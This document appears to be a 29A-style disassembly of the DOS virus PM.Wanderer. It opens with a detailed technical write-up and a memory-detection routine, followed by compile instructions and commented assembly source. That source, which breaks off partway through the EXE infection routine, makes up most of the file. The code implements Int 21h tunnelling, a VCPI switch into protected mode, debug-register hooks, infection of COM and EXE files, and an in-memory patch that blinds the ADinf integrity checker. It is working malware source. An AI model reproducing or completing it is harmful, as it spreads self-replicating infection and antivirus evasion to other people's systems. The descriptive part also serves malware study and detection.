; also using that mode. In the same year, viruses Evolution.2761 and
; Evolution.2770 succeeded in tapping part of the power of the protected
; mode, but only when the processor was in the real mode. These viruses
; replaced the actual interrupt vector table with their own interrupt
; descriptor table (IDT), which they loaded with IDT register. How did the
; Evolution viruses could use this technique in everyday life? I doubt there
; is a PC user who runs i386-Pentium in real mode.
;
; Although the i386 processor made its debut long ago, viruses have still
; failed to master its powerful protected mode. I believe that virus
; designers have cherished this hope for some time, and that one among them
; finally appears to have realized it.
;
; PM.Wanderer, apparently written in Russia, is a file infector which uses a
; cruide form of protected mode. It is surprisingly stable, interacting more
; or less correctly with other programs that utilize this mode. The name is
; derived from the string 'WANDERER,(c)P.Demenuk'.
;
; A resident polymorphic virus PM.Wanderer installs its resident part in the
; memory and toggles the processor to the protected mode, by utilizing the
; documented virtual control program interface (VCPI) of the extended memory
; supervisor (EMS, EMM386).
;
;
; Installation
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; On starting an infected program, the virus polymorphic decryptor decodes
; the main virus body and passes control to it. The virus code determines a
; location in the upper addresses of DOS memory, writes itself to this
; memory, and hands over control to the copy higher in memory. Then it
; restores the code of the infected file in the program segment (for EXE
; files, it also configures the addresses of relocated elements) and begins
; to install resident component.
;
; First, the virus checks whether there is an extended memory manager (EMS)
; in the system. It does this by retrieving the address of Int 67h (Extended
; Memory) though Int 21h function AX=3567h (Get Interrupt Vector), and
; checking whether the characters 'EM' exist in EMS header. Then the virus
; verifies whether its resident part is already installed by calling function
; AX=BABAh of Int 21h and locking for the answer AX=FA00h.
;
; If there is no active EMM in the system, or the resident part of the virus
; is already installed (and in subsequent operation, if there is no VCPI or
; an error occurs installing the resident copy), the virus frees the memory
; reserved for installing the resident copy and passes control to the host
; program. This completes the life cycle of the virus in a system. However,
; if environmental conditions are favourable, the virus intercepts Int 01h
; and traces Int 21h looking, for the word 9090h (two NOPs) in the original
; Int 21h handler code of MS DOS version 5.00-7.00.
;
; If this string is detected, the virus retrieves from a specific handler
; address the address of Int 21 handler kernel, which is usually located in
; the high memory area, and writes this address to its body. This address is
; subsequently used by the virus for calling the Int 21h handler kernel for
; infecting files.
;
; Then the virus verifies the presence of VCPI and reserves the physical
; addresses of four memory pages. IT next retrieves the address of VCPI, page
; table, and the addresses of GDT (Global Descriptor Table. This consists of
; three elements: the first is the code segment descriptor, and the other two
; are used by the VCPI driver). The virus writes a reference to the pages
; allotted by the VCPI driver to the page table, and retrieves the physical
; address of the memory page of the segment in which the virus is currently
; located. It also gets GDT and IDT registers. Next, the virus creates three
; (code and data) descriptors and a descriptor for the task state segment
; (TSS) in GDT.
;
; Finally, it prepares the values for the registers CR3, GDTR, IDTR, LDTR
; (Local Descriptor Table Register), TR (Task Register), and the address
; CS:EIP of the protected mode entry point. Using the VCPI tools, the virus
; toggles the processor to protected mode with the highest privilege level,
; known as the supervisor.
;
; In the protected mode, the virus corrects IDT (* corrects GDT *) by creating
; two segment descriptors, then searches for the TSS descriptor (* searches for
; page table *). Next the virus defines two breakpoints: one at the first byte
; of the code of the current INT 21h handler (0000:0084h) and the other at
; the first byte of the code in BIOS at 0FE00:005Bh (linear address 0FE05Bh).
; The BIOS location usually holds the 'near jump to reboot'. The virus then
; corrects IDT to set debug exceptions at Int 01h and Int 09h. It also defines
; two handler descriptors: trap gate and interrupt gate.
;
; After these preliminaries, the virus writes its code to the memory page and
; switches the processor back to the virtual mode in order to free the DOS
; memory in upper addresses and to return the control to the infected
; program. From this instant, the infected program begins its "normal" work,
; but Int 01h and Int 09h have been redefined by the virus as trap gate and
; interrupt gate in protected mode, respectively.
;
;
; Keyboard Handler
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; On receiving control, the virus-defined Int 09h handler verifies whether
; the two virus-defined breakpoints exist, and restores them if either has
; been zeroed. Using the register DR7, the virus checks whether the two
; breakpoints (0 and 1) are defined, without verifying their linear
; addresses. If either of the breakpoints is missing, the virus calls the
; procedure that instantly restores them to their initial status. The
; virus-defined Int 09h handler also keeps a close watch on the pressing of
; Ctrl-Alt-Del and `resets' all breakpoints when this key combination is
; used.
;
; Debug Exceptions Handler The virus-defined debug exceptions handler
; verifies whether either of the virus breakpoints has been reached by
; checking the command address. If control passed to this handler from the
; 'near jump to reboot' in BIOS, the virus resets all breakpoints just as the
; virus-defined keyboard handler does when the key combination Ctrl-Alt-Del
; is pressed.
;
; If the exception was caused by the breakpoint of the original DOS Int 21h
; handler, the virus analyzes the AX register to determine the function of
; Int 21h, and behaves accordingly. Prior to analyzing this, the virus sets
; the resume flag (RF=1) in the stack's EFLAGS register that is intended to
; return control to the breakpoint. This flag is set should a debug exception
; take place while returning control to the breakpoint.
;
; If Int 21h is called with AX=0BABAh, the virus the virus recognizes this as
; its 'Are you there?' call. If PM.Wanderer is installed it writes writes the
; value 0FACCh in the AX register and returns control to the original DOS Int
; 21h handler. On exiting from the DOS handler, the AL register is set to
; zero. The register value AX=0FA00h informs the non-resident virus that a
; copy is already active.
;
; If Int 21h is called with either AX=4B00h (start program) or AH=3Dh and the
; lower 4 bits of AL set to zero (open file for reading), the virus decides
; to infect. The virus writes its code to 9000:0000h (linear address 90000h),
; prepares a stack, and toggles the processor to 8086 virtual mode with IRETD
; command at third and last privilege level.
;
;
; File Infection
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; In virtual mode, the virus code verifies the last two characters (OM or XE)
; of the filename extension, creates a polymorphic copy, and infects files
; longer than 4095 bytes. PM.Wanderer does not infect a files if seconds
; field of file's time-stamp is 34, assuming that the file is already
; infected, assuming the file is already infected, nor does the virus alter
; file attributes. Therefore read only files are not infected. Further, the
; virus does not infect a particular program with seven-character filename. I
; could not find the name of this file: the virus defines it implicitly by
; computing the CRC of itss name.
;
; The virus does not take over Int 24h (Critical Error Handler), so when
; critical errors (for example, writing to write-protected disks) occur
; during infection, the standard DOS query - Retry, Ignore, Fail, Abort? - is
; displayed. The virus infects a file by calling the DOS Int 21h handler
; directly, using the address obtained from tracing Int 21h at installation.
; The virus code is prepended to the header of COM files and inserted into
; the middle of EXE files, immediately below the header. Prior to this, the
; relocations field in the header is zeroed by moving the original program
; code to the file end. The `real working code' of the virus is 3684 bytes
; long, but the size of infected files increases by more than 3940 bytes.
; (* exactly between 3940 and 4036 bytes: 3684 + decryptor (256 to 352) *)
;
;
; Exit from the V-mode of DOS-machine
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; The virus uses a smart technique to exit the V-mode and to transfer control
; to the breakpoint of the DOS Int 21h handler that called the debug
; exceptions, so that DOS functions normally. Were the virus to infect a file
; while in P-mode, everything would be simple - it would be sufficient to
; execute the IRETD command. Since the virus has toggled to the V-mode with
; privilege level three, it is possible for the debug exceptions handler to
; switch back to P-mode. Therefore, the virus plays an elegant trick to
; surmount the situation.
;
; If an error occurs during infection or while exiting from the virtual mode,
; the virus calls Int 21h with AX=4B00h. When Int 21h is called with
; AX=4B00h, control jumps to the first command of the DOS Int 21h handler.
; This command contains a virus-defined breakpoint. Control must now be
; transferred to the debug exceptions handler in P-mode. However, the V-mode
; monitor discovers the need to process the next debug exception. The point
; is that the virus debug exceptions handler has not returned the control to
; the breakpoint and is still busy processing the current debut exception.
; Therefore, the V-mode monitor terminates the Int 21h call, aborts
; processing the current debug exception, and returns control to the
; breakpoint with the values stored in the registers of the previous Int 21h
; call.
;
;
; Payload
; ÄÄÄÄÄÄÄ
; If the debug exceptions handler is passed AX=3506h (such a call for getting
; the INT 06 address usually exists in all programs compiled from high-level
; languages, such as C, Pascal), PM.Wanderer scans the linear address space
; 0-90000h looking for a string that obviously belongs to the Russian
; integrity checker ADinf. If this string is found, the virus modifies it in
; order to disable the alerts ADinf usually raises on detecting changes to
; files and disks.
;
; Search for the Virus in Memory: It is clear from the above that conventional
; memory scanning methods are incapable of detecting the resident copy of the
; virus at level zero privilege in the protected mode. The resident copy can
; be detected only after toggling to the highest privilege level of protected
; mode with the help of GDT or IDT. However, this virus can be trapped by
; other conventional methods. Here, the linear addresses of the first two
; breakpoints (0 and 1) must be determined and compared with the values
; described above. The possible presence of PM.Wanderer in the memory can be
; decided from theese addresses. It is imperative that such operations be
; carried out only in a DOS session. In assembler language, this can be done
; as follows:
;
;
; .8086
; MOV AX,0BABAH ;simulate that the virus is checking its
; INT 21H ;presence in the memory
; CMP AX,0FA00H ;did the resident copy respond?
; JNE ExitCheckMemory
; .386P
; MOV EAX,DR7 ;read register DR7
; AND EAX,20AH
; CMP EAX,20AH ;are 2 breakpoints defined?
; JNE ExitCheckMemory
; MOV EAX,DR1 ;read linear address of breakpoint 1
; CMP EAX,0FE05BH ;is it set at 0FE00:005BH in BIOS?
; JNE ExitCheckMemory
; .8086
; MOV AH,9
; MOV DX,OFFSET VirusIsFound
; INT 21H ;alert about the possible presence of
; CLI ;virus in the memory
; JMP $+0 ;"hang up" system
;ExitCheckMemory:
; INT 20H ;terminate operation
;
;
; Test
; ÄÄÄÄ
; After infecting several thousand files, the virus behaves like a 'lodger'
; with all infected files remaining operative. A file becomes inoperative
; only if, after infection, its stack are located within the virus code.
; While infecting EXE files, PM.Wanderer does not modify the start SS:SP
; values in the EXE header. As already mentioned, the virus is capable of
; reproduction only if EMS (EMM386) is installed in the system. If EMM386 is
; installed with the /NOEMS option, when the virus toggles processor to
; protected mode, the system will reboot. The computer may also reboot if
; QEMM386 is installed.
;
; The virus loses its reproduciability under Windows 3.1x and Windows 95.
; These operating systems cut off an already resident PM.Wanderer, because
; while loading they install their own handlers in IDT and zero all
; breakpoints. Prior to terminating a session and returning to DOS, Windows
; restores the previous status of the interrupt descriptor table. On pressing
; a key in DOS environment, the virus gets control, installs its own
; breakpoints, and continues its activities. Due to the absence of VCPI in a
; DOS session within Windows, the virus cannot return to the protected mode
; there. For the same reason, the virus is also inoperative under OS/2.
;
;
; Conclusion
; ÄÄÄÄÄÄÄÄÄÄ
; PM.Wanderer is the first virus to utilize i386 the protected mode and not
; conflict with the domimamt Microsoft operating systems, which also use that
; mode. It is possibly that future viruses may completely overwrite the
; supervisor with their own code supporting the DPMI, EMS/VCPI, XMS, and Int
; 15h extended memory interfaces. Who knows?
;
;
; PM.Wanderer
; Aliases: None known
; Type: Memory resident in P-mode, polymorphic
; Infection: COM and EXE files
; Self-recognition in
; Memory: See description
; Self-recognition in Files: Bit 1 and bit 4 in seconds field of file's
; time-stamp set
; Hex Pattern in Files: The virus is polymorphic, and there is no
; useful hex pattern.
; Hex Pattern in Memory: Virus works in P-mode, see description
; Intercepts: In IDT: Int 09h for enabling breakpoints,
; Int 1 for infection
; Payload: Patch the integrity checker ADinf in
; memory.
; Removal: Under clean system conditions, identify
; and replace infected files
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; Other data
; ÄÄÄÄÄÄÄÄÄÄ
; Virus : PM.Wanderer
; Size : 3684 (code) + 256-352 (decryptor) = 3940-4036 bytes
; Author : P. Demenuk
; Origin : Russia
; Disasm by : Tcp/29A
;
;
; Greetings
; ÄÄÄÄÄÄÄÄÄ
; They go this time to l- (i got it) ;), and to Vecna/29A, as he was working
; in the same project at the same time, without any of we both having reali-
; sed about that fact :) I noticed it also happened the same to him with the
; Dementia disassembly... that's bad luck, man! :)
;
; Send any question or comment to tcp@cryogen.com.
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm /m wanderer.asm (ignore warnings, if any)
; tlink /t /3 wanderer (ignore fixup overflow errors)

.386p ; Of course, 386 protected mode


wanderer segment byte public 'CODE' use16
assume cs:wanderer, ds:data0, es:data0, ss:data0
org 100h

; Selectors :
CODE_SEL = 8 ; CS Selector
DATACS_SEL = 10h ; CS Alias Selector
ALLMEM_SEL = 18h ; 4GB Memory Selector
TSS_SEL = 28h ; TSS Selector
VCPICS_SEL = 30h ; VCPI CS Selector

VIRUS_SIZE = virus_end - start


STACK_SIZE = 44h

start:
call get_delta
get_delta:
pop si
sub si,3 ; Get delta offset
mov di,offset(start)
cld
mov ax,cs
push ds
mov ds,ax
mov es,ax
push offset(mem_mcb)
mov bx,offset(copy_code)
mov word ptr [bx],0A4F2h ; Encode 'repnz movsb'
mov word ptr [bx+2],0C361h ; Encode 'popa ; ret'
mov cx,VIRUS_SIZE
pusha
jmp bx

db 0Ah,'WANDERER,(c) P. Demenuk',0Ah

mem_mcb:
pop ax
dec ax
mov es,ax ; ES:=MCB
mov bx,es:[3] ; Get number of paragraphs in this MCB
mov ds:size_mcb,bx
inc ax
mov es,ax ; ES:=PSP
jmp alloc_mem

free_mem:
mov bx,ds:size_mcb
sub bx,600h ; 600h*16 = 24576 bytes
mov ah,4Ah
int 21h ; Adjust memory block size
; ES = segment addr of block to change
; BX = new size in paragraphs
alloc_mem:
mov bx,500h ; 500h*16 = 20480 bytes
mov ah,48h
int 21h ; Allocate memory
; BX = 16-byte paragraphs desired
jc free_mem ; Error? then jmp
mov es,ax
xor di,di
xor si,si
mov cx,2048
mov ds:codesegment,cs
rep movsw ; Copy 4K to allocated memory
push cs
push ax
push offset(new_mem_pos)
retf ; Jump to new copy

new_mem_pos:
push cs
pop ds
cmp ds:host_type,0 ; COM file?
jz check_resident ; Yes? then jmp
mov ah,62h
int 21h ; Get PSP address
mov es,bx
mov es,es:[2Ch] ; ES:=environment
xor di,di
mov cx,8000h
mov al,1
repne scasb ; Search for '1h' (file path)
inc di ; Current file path
push es
pop ds
mov ax,3D00h
mov dx,di
int 21h ; Open file (read)
xchg ax,bx ; BX := handle
pop ds
mov ax,4200h
mov dx,cs:filesize_l
mov cx,cs:filesize_h
int 21h ; Lseek end of original file
mov ah,3Fh
mov cx,cs:size_in_file
xor dx,dx
int 21h ; Read from file
push ds
push cs
pop ds
mov ax,4200h
mov dx,ds:ofs_relocitems
xor cx,cx
int 21h ; Lseek start of relocation table
mov cx,ds:reloc_items
shl cx,1 ; x2 (number of bytes in reloc. table)
shl cx,1
mov dx,offset(buffer1)
mov ah,3Fh
int 21h ; Read relocation table
mov ah,3Eh
int 21h ; Close file
mov si,offset(buffer1)
pop ax
mov cx,ds:reloc_items
jcxz no_reloc_items ; Any relocation item? No? then jmp
l_reloc:
add [si+2],ax ; Relocate item in memory
les di,[si]
add es:[di],ax
add si,4
loop l_reloc
no_reloc_items:
mov psp_seg,ax
check_resident:
mov ax,3567h
int 21h ; Get int 67h vector
cmp word ptr es:[0Ah],'ME' ; EMM386 loaded?
push cs
pop es
jne exec_host ; No? then jmp
mov ax,0BABAh ; Residency check
int 21h
cmp ax,0FA00h ; Already resident?
jne go_resident ; No? then jmp
free_virmem:
sti
exec_host:
mov ah,49h
int 21h ; Free memory
cmp ds:host_type,0 ; COM file?
jz exec_com ; Yes? then jmp
mov ax,psp_seg
add ax,ds:file_reloCS
push ax ; CS
push ds:file_exeIP ; IP
mov ax,psp_seg
sub ax,10h
mov es,ax
mov ds,ax
jmp restore_mcb

exec_com:
mov sp,0FFFEh ; Set stack pointer
push 100h ; IP
pusha
mov si,ds:filesize_l
and si,si ; Is the virus dropper?
jz exit_program ; Yes? then jmp
mov di,100h
add si,di ; End of original file
cld
mov es,ds:codesegment
mov ds,ds:codesegment
push es
push offset(copy_code)
mov cx,ds:size_in_file
restore_mcb:
mov ah,4Ah
mov bx,cs:size_mcb
int 21h ; Restore MCB size
retf ; Restore original code and return to host

exit_program:
mov ax,4C00h
int 21h ; Exit program

go_resident:
call encrypt_infection_routine ; Decrypt
call tunnel_i21
mov ax,0DE00h ; VCPI installation check
call VCPI ; Doesn't return if not installed
mov saved_sp,sp
mov saved_ss,ss
mov di,offset(pages_4K)
mov cx,4 ; Allocate 4 pages (4K per page)
l_alloc_page:
mov ax,0DE04h ; VCPI - Allocate a 4K page
call VCPI
mov [di],edx ; EDX = physical address of page
scasd ; == add di,4
loop l_alloc_page
mov bx,cs
add bx,100h ; Align data area on page
xor bl,bl
inc bh
mov es,bx ; Base address of directory page
mov ds:addr_dir_page,bx
xor ax,ax
xor di,di
mov cx,(4096+4096)/2 ; 2 pages
rep stosw ; Clear directory page area (4K)
; and page table (4K)
mov ax,0DE01h ; VCPI - Get Protected Mode Interface
; ES:DI -> 4K page table buffer
; DS:SI -> three descriptor table
; entries in GDT. First
; becomes code segment
; descriptor, other two for
; use by main control prog.
mov ds,bx ; DS := segment of dir page table
inc bh ; add 100h
mov es,bx ; ES := segment of page table
xor di,di
mov si,100h+VCPICS_SEL ; GDT in page table + 100h
call VCPI
push cs
pop ds
mov ds:pm_ep,ebx ; EBX = protected mode EP in code seg.
xor si,si
mov cx,400h ; 4GB, all addressable memory
xor bx,bx ; BX in [0..3FFh]
l_entry: ; Map the memory in the page table
mov eax,es:[si] ; Read page table entry
cmp eax,0 ; Invalid (available) entry?
jnz next_page_entry ; No? then jmp
movzx eax,bx ; Page entry
shl eax,0Ch ; Page frame address
mov al,67h ; Dirty, Accessed, User, Write, Present
mov es:[si],eax ; Store page in page table
next_page_entry:
add si,4 ; Next entry
inc bx
loop l_entry
mov eax,ds:page_1 ; Map page_1 in page table
mov esi,eax
mov al,67h ; Dirty, Accessed, User, Write, Present
shr esi,0Ah ; Calculate page number in page table
mov es:[esi],eax ; Store page in page table
mov ds:virus_cs,cs
call setup_system_regs
sidt qword ptr ds:IDT
sgdt qword ptr ds:GDT
mov esi,100h ; GDT (addr.dir.page table + 100h)
push es
pop ds
mov cx,cs
movzx ecx,cx
shl ecx,4 ; Segment Base (CS)
mov ax,CODE_SEL
mov ebx,0FFFFh ; Segment Limit (64K)
mov dx,0000000010011010b ; Access rights: Executable
; code, readable, present,
; DPL 0
push ecx
push ebx
call build_descriptor
mov ax,DATACS_SEL
pop ebx ; Limit (64K)
pop ecx
mov dx,0000000010010010b ; Access rights: Data, writable,
; present, DPL 0
call build_descriptor
mov ax,ALLMEM_SEL
xor ecx,ecx
mov ebx,0FFFFFFFFh ; Limit (4GB: granularity on)
mov dx,1000000010010010b ; Access rights: Data, writeble,
; present, granularity, DPL 0
call build_descriptor
mov ax,TSS_SEL
mov cx,ds
movzx ecx,cx
shl ecx,4 ; Addr. directory page table
push ecx
add ecx,10h ; TSS in dir.page table + 10h
mov dx,0000000010001001b ; Access rights: System, DPL 0,
; available 386 TSS, present
mov ebx,67h ; Limit
call build_descriptor
pop ecx ; Addr. directory page table
add ecx,100h ; GDT in dir.page table + 100h
push cs
pop ds
mov ds:base_gdt,ecx
cli
mov ax,cs
movzx esi,ax
mov ax,0DE0Ch
shl esi,4
add esi,offset(system_registers)
int 67h ; VCPI - Switch to protected mode
; ESI = linear address in first megabyte of
; values for system registers
; Return: interrupts disabled
; GDTR, IDTR, LDTR, TR loaded
jmp $

ofs_i1 dw 0
seg_i1 dw 0
save_ss dw 0
save_sp dw 0

int_1:
push bp
push ds
push si
mov bp,sp
lds si,[bp+6] ; Get return address from stack
cmp word ptr [si],9090h ; NOP+NOP? (int 21h entry point)
je found_i21_entry ; Yes? then jmp
pop si
pop ds
pop bp
iret

tunnel_i21:
mov ax,3501h
int 21h ; Get int 1h vector (trace)
mov ds:ofs_i1,bx
mov ds:seg_i1,es
mov dx,offset(int_1)
mov ah,25h
int 21h ; Set new int 1h
push cs
push cs
mov ds:save_ss,ss ; Save stack
mov ds:save_sp,sp
cld
pushf
pushf
pop ax ; Read flags
or ax,100h ; Set bit trace on
push ax
xor ax,ax
mov ds,ax ; DS := 0
mov ah,30h ; Get DOS version
push cs
pop es
popf ; Activate int 1h tunneler
call dword ptr ds:[21h*4]
pop es
xor ax,ax
mov ds,ax ; DS := 0
mov di,offset(ofs_i21)
mov si,21h*4
movsw
movsw
pop ds
push cs
jmp restore_i1

found_i21_entry:
mov ss,cs:save_ss ; Restore stack
mov sp,cs:save_sp
mov si,[si+8]
lodsw ; Store int 21h entry point
mov cs:ofs_i21,ax
lodsw
pop ds
mov ds:seg_i21,ax
restore_i1:
xor ax,ax
mov es,ax ; ES := 0
mov di,1h*4
mov si,offset(ofs_i1)
movsw ; Restore int 1h
movsw
pop es
ret

; PM Entry point
pm_entry_point:
mov ax,DATACS_SEL
mov ss,ax ; Stack descriptor
mov sp,offset(_stack)
mov es,ax ; Extra data descriptor
mov ax,ALLMEM_SEL
mov ds,ax ; Data descriptor
mov esi,es:GDT_base
movzx ecx,es:GDT_limit
inc ecx ; First entry unused
shr ecx,3 ; Number of entries in GDT
xor bx,bx
xor eax,eax
l_next_gdt_entry:
add esi,8 ; Next descriptor
add bx,00001000b ; Next selector
cmp eax,[esi+4] ; Available entry?
jne next_gdt_entry ; No? then jmp
mov es:virus_selector,bx
mov ebx,0FFFh ; Limit 4K
mov ecx,es:page_1
mov dx,0000000010011011b ; Access rights: Code, Readable,
; present, accessed, DPL 0
call build_descriptor
add esi,8 ; Next descriptor
xor ecx,ecx
mov ebx,0FFFFFFFFh ; Limit (4GB : granurality on)
mov dx,1000000010010010b ; Access rights: Data, Writable,
; present, DPL 0
call build_descriptor
jmp search_pagetable

next_gdt_entry:
loop l_next_gdt_entry
no_descriptor:
jmp no_descriptor ; Descriptor not found in GDT

search_pagetable:
mov esi,1024*1024 ; 1MB
l_search_pagetable:
add esi,4*1024 ; 4KB (a page)
cmp dword ptr [esi],67h ; Page for address 0 ?
jne l_search_pagetable ; No? then jmp
cmp dword ptr [esi+4],1067h ; Page for address 4096 ?
jne l_search_pagetable ; No? then jmp
mov es:pagetable,esi
movzx eax,word ptr ds:[21h*4] ; Get int 21h vector
movzx ebx,word ptr ds:[21h*4+2]
shl ebx,4 ; Calculate physical address
add eax,ebx
mov es:i21h_ep,eax ; Save old int 21h
call set_breakpoints
mov es:infecting,0 ; Flag: can infect files
mov eax,es:page_1 ; Insert vir page in page table
mov ebx,eax
mov al,67h
shr ebx,0Ah
mov [esi][ebx],eax
mov di,offset(orig_i1)
mov ecx,1 ; Int 1h (trace)
mov ax,offset(pm_int_1)
call build_idt_descriptor
add di,6 ; offset(orig_i9)
mov ecx,9 ; Int 9h
mov ax,offset(pm_int_9)
call build_idt_descriptor
push es
push ds
pop es
pop ds
xor esi,esi
mov edi,ds:page_1
cld
mov ecx,1024
db 0F3h,66h,67h,0A5h ; rep movsd (TASM FIX)
; Copy (4k) to virus page
movzx eax,saved_sp
mov bx,ds:virus_cs
push cx
push bx ; GS
push cx
push bx ; FS
push cx
push bx ; DS
push cx
push bx ; ES
push cx
push saved_ss ; SS
push es
push ds
pop es
pop ds
push eax ; ESP
pushfd ; Flags
push cx
push bx ; CS
push 0
push offset(free_virmem) ; EIP
movzx esp,sp
mov ax,0DE0Ch ; Switch to protected mode (v86 mode)
call fword ptr cs:pm_ep

pm_int_9:
push eax
mov eax,dr7
and ax,0000001100001010b ; Check breakpoints
cmp ax,0000001100001010b ; Removed?
je check_ctrlaltdel ; No? then jmp
call set_breakpoints ; else restore them
check_ctrlaltdel:
in al,60h ; Read scan code from keyboard
cmp al,53h ; DEL key?
jne exit_pm9 ; No? then jmp
call set_ds
mov al,ds:[417h] ; Get keyboard status (0:417h)
and al,0Ch
cmp al,0Ch ; CTRL & ALT pressed?
jne exit_pm9 ; No? then jmp
xor eax,eax
mov dr7,eax ; Remove breakpoints if reset
exit_pm9:
pop eax
jmp fword ptr cs:orig_i9

exit_pm1:
pop eax
jmp fword ptr cs:orig_i1

pm_int_1:
push eax
mov eax,dr6 ; Test breakpoint number
test al,3 ; Breakpoint 0 or 1?
jz exit_pm1 ; No? then jmp
test al,2 ; Breakpoint 1?
jz dos_bp ; Yes? then jmp
xor eax,eax ; Else breakpoint 0
mov dr7,eax ; Remove breakpoints
pop eax
iretd

dos_bp:
xor eax,eax
mov dr6,eax ; Clear dr6 (never cleared by CPU)
pop eax
or byte ptr [esp+0Ah],1 ; Set RF in stack
cmp ax,0BABAh ; Residency check?
jne check_function ; No? then jmp
mov ax,0FACCh ; DOS will try to exec function 0FACCh
; but it doesn't exist, then DOS will
; return 0FA00h
_iretd:
iretd

check_function:
cmp ax,3506h ; Get int 6 vector?
je check_patch ; Yes? then jmp
cmp ax,4B00h ; Exec file?
je check_prev_inf ; Yes? then jmp
cmp ah,3Dh ; Open file?
jne _iretd ; No? then jmp
test al,0Fh ; For reading?
jne _iretd ; No? then jmp
check_prev_inf:
cmp cs:infecting,1 ; Exist a copy for infection?
je kill_copy4infection ; Yes? Kill it (finished work)
pushad
call set_ds
mov es,ax
mov ecx,cs:page_1
xor ebp,ebp
mov esi,90h ; Segment 90h (phys. 90000h)
l_map_page234:
mov edx,cs:page_2[ebp*4]
call map_page
db 66h,67h,89h,9Ch,0A9h ; (TASM FIX)
dd offset(old_pages) ; mov [ecx+old_pages][ebp*4],ebx
; Store old page
inc esi ; Next 4KB
inc bp ; Next page
cmp bp,3 ; Pages 2,3 and 4 in page table?
jne l_map_page234 ; No? then jmp
mov esi,cs:page_1
mov edi,90000h
mov ds:[esi+infecting],1
mov [esi+STACK_SIZE],esp ; moc [esi+_esp],esp (TASM FIX)
cld
mov ecx,400h ; 4KB
db 0F3h,66h,67h,0A5h ; rep movsd (TASM FIX)
; Copy code
mov ax,ss
mov ds,ax
mov esi,esp
mov edi,cs:page_1
mov ecx,STACK_SIZE/4
db 0F3h,66h,67h,0A5h ; rep movsd (TASM FIX)
; Copy stack
popad
mov eax,9000h
push eax ; GS
push eax ; FS
push dword ptr [esp+20h] ; DS
push dword ptr [esp+20h] ; ES
push eax ; SS
db 66h ; (TASM FIX) PUSH 0FFFEh (dword)
push 0FFEh ; ESP
dw 0 ; (TASM FIX)
push 23000h ; EFLAGS (VM 8086, RPL 3)
push eax ; CS
mov eax,offset(infect_file)
push eax ; EIP
iretd ; Jump to infect_file task, pm level 3
check_patch:
pushad
mov bx,cs
mov ds,bx ; DS = CS
add bx,8
mov es,bx
mov esi,offset(memory_patch)
mov bp,2 ; Number of patches
cld
search_code:
mov edi,90000h
mov eax,[si]
search_patch:
dec edi
jz skip_patch
cmp es:[edi],eax ; Maybe the code it's searching
jne search_patch ; No? then jmp
movzx ebx,byte ptr [si+4]
mov edx,[si+5]
cmp es:[edi][ebx],edx ; Code found?
jne search_patch ; No? then jmp
movsx ebx,byte ptr [si+9] ; Offset to the patch
add edi,ebx
movzx ecx,byte ptr [si+0Ah] ; Number of bytes to patch
add si,start_patch1-memory_patch
db 0F3h,67h,0A4h ; rep movsb (TASM FIX)
; Patch it
jmp next_patch

skip_patch:
movzx ax,[si+0Ah] ; Point next patch
add si,ax
add si,start_patch1-memory_patch
next_patch:
dec bp ; Another patch?
jnz search_code ; Yes? then jmp
jmp exit_21h

memory_patch:
; Patch #1
db 83h, 0c6h, 32h, 81h ; Bytes to search (1)
db 0Ah ; Offset to bytes (2)
db 68h, 4Eh, 9Ch, 9Ah ; Bytes to search (2)
db 0Dh ; Offset to the patch
db end_patch1-start_patch1 ; Patch size
start_patch1:
db 0EBh, 3 ; Patch code
end_patch1:

; Patch #2
db 8Dh, 56h, 0D6h, 3 ; Bytes to search (1)
db 5 ; Offset to bytes 2
db 36h, 89h, 7, 8Bh ; Bytes to search (2)
db 0FCh ; Offset to the patch
db end_patch2-start_patch2 ; Patch size
start_patch2:
db 0D1h, 0E6h, 83h, 0FEh, 0Ah, 75h, 2, 33h, 0C0h, 89h
db 42h, 0D6h, 0D1h, 0EEh, 4, 6, 93h ; Patch code
end_patch2:
infect_file:
xor ax,ax
mov di,dx
mov cx,41h
push ds
pop es
cld
repne scasb ; Search end of path
jcxz jmp_return_dpl0 ; Found? No? then jmp
jmp check_extension ; Yes? then jmp

jmp_return_dpl0:
jmp return_dpl0

check_extension:
mov ax,[di-4] ; Read file extension
and ax,0F0Fh
cmp ax,('OC' and 0F0Fh) ; (*.CO?) COM file?
je executable_file ; Yes? then jmp
cmp ax,('XE' and 0F0Fh) ; (*.EX?) EXE file?
je executable_file ; Yes? then jmp
jmp return_dpl0

executable_file:
mov si,di
sub si,6
std
mov cx,7
xor bx,bx
l_do_crc: ; Make CRC with filename
lodsb
and al,1Fh
add bl,al
loop l_do_crc
cld
cmp bl,3Fh ; Skip filename (CRC) ?
jne no_skip_file ; No? then jmp
jmp return_dpl0 ; Yes? then jmp

no_skip_file:
mov ax,3D02h
call int_21h ; Open file I/O
xchg ax,bx ; BX := handle
push cs
push cs
pop ds
pop es
call initialize_random_seed
mov ax,5700h
call int_21h ; Get file date & time
mov filedate,dx ; Save
mov filetime,cx
and cl,1Fh
cmp cl,11h ; Already infected?
je close_file ; Yes? then jmp
and byte ptr filetime,0E0h ; Mark infection
or byte ptr filetime,11h
mov dx,offset(buffer2)
mov ah,3Fh
mov cx,BUFFER_SIZE
call int_21h ; Read
cmp ax,BUFFER_SIZE ; Too small?
jne close_file ; Yes? then jmp
call go_end_file
mov ds:filesize_l,ax ; Save original file size
mov ds:filesize_h,dx
cmp ax,0F000h ; Too big?
ja close_file ; Yes? then jmp
cmp ds:signature,'ZM' ; EXE file?
je infect_exe ; Yes? then jmp
mov ds:host_type,0 ; It's a COM file
call setup_engine ; Encrypt virus code
push cx
mov ah,40h
mov dx,offset(buffer2)
call int_21h ; Write original code (end of file)
call go_start_file
pop cx
mov ah,40h
mov dx,BUFFER_SIZE
call int_21h ; Write encrypted virus code
restore_fdate:
mov cx,filetime
mov dx,filedate
mov ax,5701h
call int_21h ; Restore file date and time
close_file:
mov ah,3Eh
call int_21h ; Close file
return_dpl0:
mov ax,4B00h
int 21h ; Re-enter virus int 21h to kill this
; copy done for replication

infect_exe:
cmp ds:pages,5 ; Too small?
jb close_file ; Yes? then jmp
db 83h, 3Eh ; (TASM 2.5 FIX. UNNECESSARY IN 4.0)
dw offset(max_mem)
db 0FFh ; cmp ds:max_mem,0FFFFh
